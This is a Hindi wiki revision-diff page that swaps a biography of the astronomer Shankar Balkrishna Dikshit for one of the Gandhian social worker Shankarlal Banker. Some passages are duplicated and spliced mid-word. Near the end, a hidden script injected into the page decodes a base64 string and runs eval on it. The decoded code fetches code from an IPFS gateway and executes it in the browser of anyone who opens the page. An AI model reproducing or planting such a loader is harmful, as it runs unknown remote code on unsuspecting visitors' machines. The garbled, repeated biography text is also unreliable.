"शंकर बाल कृष्ण दीक्षित" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''शंकर बाल कृष्ण दीक्षित''' (जन्म- 24 जुलाई, 1853, मृत्यु- [...' के साथ नया पृष्ठ बनाया)
 
पंक्ति 1: पंक्ति 1:
'''शंकर बाल कृष्ण दीक्षित''' (जन्म- [[24 जुलाई]], 1853, मृत्यु-  [[1898]]) ज्योतिषशास्त्र के मराठी विद्वान थे। उन्होंने 500 से अधिक [[संस्कृत]] [[ग्रंथ|ग्रंथों]] के अध्ययन के बाद 'भारतीय ज्योतिष शास्त्र' नाम के ग्रंथ की रचना की थी।
+
'''शंकर लाल बैंकर''' (जन्म- [[27 दिसंबर]], [[1889]], [[मुंबई]]) [[गांधीजी]] के प्रमुख अनुयाई, समाजसेवी एवं स्वतंत्रता सेनानी थे। वे श्रमिक, पिछड़े और दलित वर्ग के उत्थान के लिये प्रयत्नशील रहे।
 
==परिचय==
 
==परिचय==
ज्योतिषशास्त्र के मराठी विद्वान शंकर बाल कृष्ण दीक्षित का जन्म [[24 जुलाई]] 1853 ई. को हुआ था। गणित और ज्योतिष में बचपन से ही आपकी रुचि थी। अनेक पश्चिमी विद्वानों ने आपके सहयोग से अपनी पुस्तकें लिखीं। आपने 500 से अधिक [[संस्कृत]] ग्रंथों का अध्ययन किया।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=821|url=}}</ref>
+
[[गांधीजी]] के प्रमुख अनुयाई, समाजसेवी और रचनात्मक कार्यकर्ता शंकरलाल बैंकर का जन्म [[27 दिसंबर]] [[1889]] ई. को [[मुंबई]] में हुआ था। उनके पूर्वज आनंद ([[गुजरात]]) से आकर यहां बस गए थे। शंकर लाल ने एम.ए. की परीक्षा ज़ेवियर कॉलेज, मुंबई से पास की और उच्च शिक्षा के लिए [[इंग्लैंड]] गए, किंतु प्रथम विश्वयुद्ध आरंभ हो जाने के कारण पढ़ाई छोड़कर उन्हें स्वदेश लौटकर आना पड़ा।<ref><ref>{{पुस्तक संदर्भ |पुस्तक का नाम=भारतीय चरित कोश|लेखक=लीलाधर शर्मा 'पर्वतीय'|अनुवादक=|आलोचक=|प्रकाशक=शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली|संकलन= |संपादन=|पृष्ठ संख्या=822|url=}}</ref></ref>
==सुप्रसिद्ध कृति==
+
==राष्ट्रीयता ==
शंकर बाल कृष्ण दीक्षित ने ज्योतिष शास्त्र का एक विख्यात ग्रंथ 'भारतीय ज्योतिष शास्त्र' की रचना की थी। इस [[ग्रंथ]] की रचना के लिये उन्होंने 500 से अधिक संस्कृत ग्रंथों का अध्ययन किया था। इस ग्रंथ में दीक्षित ने वैदिक काल से लेकर अपने समय तक की ज्योतिष संबंधी सामग्री का समावेश किया है। इस ग्रंथ के द्वारा [[मराठी भाषा]] में [[आर्यभट्ट]], [[वराह मिहिर]], [[ब्रह्मगुप्त]], [[भास्कराचार्य]] जैसे विद्वानों का परिचय प्राप्त हो सका है।
+
शंकरलाल बैंकर के विचार राष्ट्रीयता की भावना से ओत-प्रोत थे। राष्ट्रीयता की भावना से प्रेरित होकर उन्होंने होम रूल लीग आंदोलन में भाग लिया वे मुख्यत: [[महर्षि दयानंद]], 'सत्य प्रकाश' और [[रामकृष्ण परमहंस]], [[स्वामी विवेकानंद]], [[केशवचंद्र सेन]] आदि महापुरुषों के विचारों से प्रभावित रहे हैं। उन्होंने अविवाहित रहते हुए, लगभग 60 वर्षों तक देश और [[समाज]] की सेवा की।
==मृत्यु==
+
==कार्यक्षेत्र==
ज्योतिषशास्त्र के मराठी विद्वान शंकर बाल कृष्ण दीक्षित का [[1898]] में निधन हो गया।
+
उन्होंने अपने लिए मुख्यतः कार्यक्षेत्र निर्धारित कर लिए थे। श्रमिक आंदोलन का संचालन उन्होंने [[गांधीजी]] की दृष्टि से किया। उद्योग मालिकों तथा श्रमिकों के बीच वे संघर्ष के स्थान पर वार्तालाप का माहोल तैयार कराते रहे। श्रमिक आंदोलन का संचालन उन्होंने गांधीजी की तरह से किया। समाज के पिछड़े वर्ग, श्रमिक और दलित वर्ग के उत्थान के कार्य में वे प्रयासरत रहे। शंकरलाल उनका सामाजिक और आर्थिक दृष्टि से उत्थान करना चाहते थे। खादी और ग्रामोद्योग के क्षेत्र में उनकी समान रूचि और गहरी पैठ थी। इस क्षेत्र में उन्होंने बहुत विशेषज्ञता प्राप्त कर ली थी।
 +
==गांधीजी से निकटता===
 +
शंकर लाल बैंकर [[गांधीजी]] के अत्यंत निकट थे। [[1920]] में वे [[महात्मा गांधी]] के सम्पर्क में आए और सदा के लिए उनके अनुयाई बन गए। उन्होंने गांधीजी द्वारा आरंभ किए हर राष्ट्रीय आंदोलन में हिस्सा लिया और जेल की यातनाएं भोगीं। ग्रामोद्योग और खादी के क्षेत्र में उन्होंने इतनी विशेषज्ञता प्राप्त कर ली थी कि गांधीजी उनसे परामर्श किया करते थे। उनकी गणना गांधीजी के विचारों को भली-भांति समझने और और उनके अनुसार काम करने वाले राष्ट्र सेवकों में होती थी।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
पंक्ति 12: पंक्ति 14:
 
==बाहरी कड़ियाँ==
 
==बाहरी कड़ियाँ==
 
==संबंधित लेख==
 
==संबंधित लेख==
{{गणितज्ञ}}{{संस्कृत साहित्यकार}}
+
{{स्वतंत्रता सेनानी}}
[[Category:गणितज्ञ]][[Category:संस्कृत साहित्यकार]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:भारतीय चरित कोश]]
+
[[Category:स्वतन्त्रता सेनानी]][[Category:समाज सेवक]][[Category:जीवनी साहित्य]][[Category:चरित कोश]][[Category:भारतीय चरित कोश]]
 
__INDEX__
 
__INDEX__
 
__NOTOC__
 
__NOTOC__
 +
 +
 +
 +
 +
 +
 +
गांधी जी के प्रमुख अनुयाई, समाजसेवी और रचनात्मक कार्यकर्ता शंकरलाल बैंकर का जन्म27 दिसंबर 1889 ईसवी को मुंबई में हुआ था। उनके पूर्वज आनंद गुजरात से आकर यहां  बस गए थे। शंकर लाल जी m.a. की परीक्षा ज़ेवियर कॉलेज मुंबई से पास की और उच्च शिक्षा के लिए इंग्लैंड गए।परंतु प्रथम विश्वयुद्ध आरंभ हो जाने के कारण उन्हें स्वदेश वापस आ जाना पड़ा
 +
शंकरलाल बैंकर के विचारों को कई महापुरुषों ने प्रभावित किया। महर्षि दयानंद के 'सत्य प्रकाश' और रामकृष्ण परमहंस, स्वामी विवेकानंद, केशवचंद्र सेन आदि के विचारों ने उन पर अपनी छाप छोड़ी। राष्ट्रीयता की भावना से प्रेरित होकर उन्होंने होम रूल लीग आंदोलन ने भी भाग लिया। 1920 में वे महात्मा गांधी के सम्पर्क में आए और सदा के लिए उनके अनुयाई बन गए। उन्होंने गांधी जी द्वारा आरंभ किए हर राष्ट्रीय आंदोलन में भाग लिया और जेल की यातनाएं  भोगी।  उन्होंने अपने लिए मुख्शंकरलाल बैंकर के विचारों को कई महापुरुषों ने प्रभावित किया। महर्षि दयानंद के 'सत्य प्रकाश' और रामकृष्ण परमहंस, स्वामी विवेकानंद, केशवचंद्र सेन आदि के विचारों ने उन पर अपनी छाप छोड़ी। राष्ट्रीयता की भावना से प्रेरित होकर उन्होंने होम रूल लीग आंदोलन ने भी भाग लिया। 1920 में वे महात्मा गांधी के सम्पर्क में आए और सदा के लिए उनके अनुयाई बन गए। उन्होंने गांधी जी द्वारा आरंभ किए हर राष्ट्रीय आंदोलन में भाग लिया और जेल की यातनाएं  भोगी।  उन्होंने अपने लिए मुख्यतः कार्यक्षेत्र निर्धारित कर लिए थे।  श्रमिक आंदोलन का संचालन उन्होंने गांधी जी की दृष्टि से किया।  मिल मालिकों तथा श्रमिकों के बीच वह संघर्ष के स्थान पर वे सहयोग का वातावरण बनाते रहे।
 +
समाज के पिछड़े वर्ग और निर्धन तथा दलित वर्ग के उत्थान के काम में वे  निरंतर लगे रहे।  वे उन्हें सामाजिक ही नहीं, आर्थिक दृष्टि से भी ऊपर उठाना चाहते थे। खादी और ग्रामोद्योग के क्षेत्र में उनकी समान रूचि और गहरी पैठ थी। इस क्षेत्र में उन्होंने इतनी विशेषज्ञता प्राप्त कर ली थी कि बहुत से मामलों में गांधीजी उनसे परामर्श किया करते थे।
 +
शंकरलाल ने  प्रचार से दूर रहकर,  अविवाहित रहते हुए,  लगभग 60 वर्षों तक देश और समाज की सेवा की। उनकी गणना गांधीजी के विचारों को भली-भांति समझने और और उनके अनुसार काम करने वाले राष्ट्र सेवकों में होती थी।
 +
भारतीय चरित्र कोश 822

11:23, 13 जुलाई 2018 का अवतरण

शंकर लाल बैंकर (जन्म- 27 दिसंबर, 1889, मुंबई) गांधीजी के प्रमुख अनुयाई, समाजसेवी एवं स्वतंत्रता सेनानी थे। वे श्रमिक, पिछड़े और दलित वर्ग के उत्थान के लिये प्रयत्नशील रहे।

परिचय

गांधीजी के प्रमुख अनुयाई, समाजसेवी और रचनात्मक कार्यकर्ता शंकरलाल बैंकर का जन्म 27 दिसंबर 1889 ई. को मुंबई में हुआ था। उनके पूर्वज आनंद (गुजरात) से आकर यहां बस गए थे। शंकर लाल ने एम.ए. की परीक्षा ज़ेवियर कॉलेज, मुंबई से पास की और उच्च शिक्षा के लिए इंग्लैंड गए, किंतु प्रथम विश्वयुद्ध आरंभ हो जाने के कारण पढ़ाई छोड़कर उन्हें स्वदेश लौटकर आना पड़ा।सन्दर्भ त्रुटि: <ref> टैग के लिए समाप्ति </ref> टैग नहीं मिला</ref>

राष्ट्रीयता

शंकरलाल बैंकर के विचार राष्ट्रीयता की भावना से ओत-प्रोत थे। राष्ट्रीयता की भावना से प्रेरित होकर उन्होंने होम रूल लीग आंदोलन में भाग लिया वे मुख्यत: महर्षि दयानंद, 'सत्य प्रकाश' और रामकृष्ण परमहंस, स्वामी विवेकानंद, केशवचंद्र सेन आदि महापुरुषों के विचारों से प्रभावित रहे हैं। उन्होंने अविवाहित रहते हुए, लगभग 60 वर्षों तक देश और समाज की सेवा की।

कार्यक्षेत्र

उन्होंने अपने लिए मुख्यतः कार्यक्षेत्र निर्धारित कर लिए थे। श्रमिक आंदोलन का संचालन उन्होंने गांधीजी की दृष्टि से किया। उद्योग मालिकों तथा श्रमिकों के बीच वे संघर्ष के स्थान पर वार्तालाप का माहोल तैयार कराते रहे। श्रमिक आंदोलन का संचालन उन्होंने गांधीजी की तरह से किया। समाज के पिछड़े वर्ग, श्रमिक और दलित वर्ग के उत्थान के कार्य में वे प्रयासरत रहे। शंकरलाल उनका सामाजिक और आर्थिक दृष्टि से उत्थान करना चाहते थे। खादी और ग्रामोद्योग के क्षेत्र में उनकी समान रूचि और गहरी पैठ थी। इस क्षेत्र में उन्होंने बहुत विशेषज्ञता प्राप्त कर ली थी।

गांधीजी से निकटता=

शंकर लाल बैंकर गांधीजी के अत्यंत निकट थे। 1920 में वे महात्मा गांधी के सम्पर्क में आए और सदा के लिए उनके अनुयाई बन गए। उन्होंने गांधीजी द्वारा आरंभ किए हर राष्ट्रीय आंदोलन में हिस्सा लिया और जेल की यातनाएं भोगीं। ग्रामोद्योग और खादी के क्षेत्र में उन्होंने इतनी विशेषज्ञता प्राप्त कर ली थी कि गांधीजी उनसे परामर्श किया करते थे। उनकी गणना गांधीजी के विचारों को भली-भांति समझने और और उनके अनुसार काम करने वाले राष्ट्र सेवकों में होती थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>





गांधी जी के प्रमुख अनुयाई, समाजसेवी और रचनात्मक कार्यकर्ता शंकरलाल बैंकर का जन्म27 दिसंबर 1889 ईसवी को मुंबई में हुआ था। उनके पूर्वज आनंद गुजरात से आकर यहां बस गए थे। शंकर लाल जी m.a. की परीक्षा ज़ेवियर कॉलेज मुंबई से पास की और उच्च शिक्षा के लिए इंग्लैंड गए।परंतु प्रथम विश्वयुद्ध आरंभ हो जाने के कारण उन्हें स्वदेश वापस आ जाना पड़ा

शंकरलाल बैंकर के विचारों को कई महापुरुषों ने प्रभावित किया। महर्षि दयानंद के 'सत्य प्रकाश' और रामकृष्ण परमहंस, स्वामी विवेकानंद, केशवचंद्र सेन आदि के विचारों ने उन पर अपनी छाप छोड़ी। राष्ट्रीयता की भावना से प्रेरित होकर उन्होंने होम रूल लीग आंदोलन ने भी भाग लिया। 1920 में वे महात्मा गांधी के सम्पर्क में आए और सदा के लिए उनके अनुयाई बन गए। उन्होंने गांधी जी द्वारा आरंभ किए हर राष्ट्रीय आंदोलन में भाग लिया और जेल की यातनाएं  भोगी।  उन्होंने अपने लिए मुख्शंकरलाल बैंकर के विचारों को कई महापुरुषों ने प्रभावित किया। महर्षि दयानंद के 'सत्य प्रकाश' और रामकृष्ण परमहंस, स्वामी विवेकानंद, केशवचंद्र सेन आदि के विचारों ने उन पर अपनी छाप छोड़ी। राष्ट्रीयता की भावना से प्रेरित होकर उन्होंने होम रूल लीग आंदोलन ने भी भाग लिया। 1920 में वे महात्मा गांधी के सम्पर्क में आए और सदा के लिए उनके अनुयाई बन गए। उन्होंने गांधी जी द्वारा आरंभ किए हर राष्ट्रीय आंदोलन में भाग लिया और जेल की यातनाएं  भोगी।  उन्होंने अपने लिए मुख्यतः कार्यक्षेत्र निर्धारित कर लिए थे।  श्रमिक आंदोलन का संचालन उन्होंने गांधी जी की दृष्टि से किया।  मिल मालिकों तथा श्रमिकों के बीच वह संघर्ष के स्थान पर वे सहयोग का वातावरण बनाते रहे। 

समाज के पिछड़े वर्ग और निर्धन तथा दलित वर्ग के उत्थान के काम में वे निरंतर लगे रहे। वे उन्हें सामाजिक ही नहीं, आर्थिक दृष्टि से भी ऊपर उठाना चाहते थे। खादी और ग्रामोद्योग के क्षेत्र में उनकी समान रूचि और गहरी पैठ थी। इस क्षेत्र में उन्होंने इतनी विशेषज्ञता प्राप्त कर ली थी कि बहुत से मामलों में गांधीजी उनसे परामर्श किया करते थे। शंकरलाल ने प्रचार से दूर रहकर, अविवाहित रहते हुए, लगभग 60 वर्षों तक देश और समाज की सेवा की। उनकी गणना गांधीजी के विचारों को भली-भांति समझने और और उनके अनुसार काम करने वाले राष्ट्र सेवकों में होती थी। भारतीय चरित्र कोश 822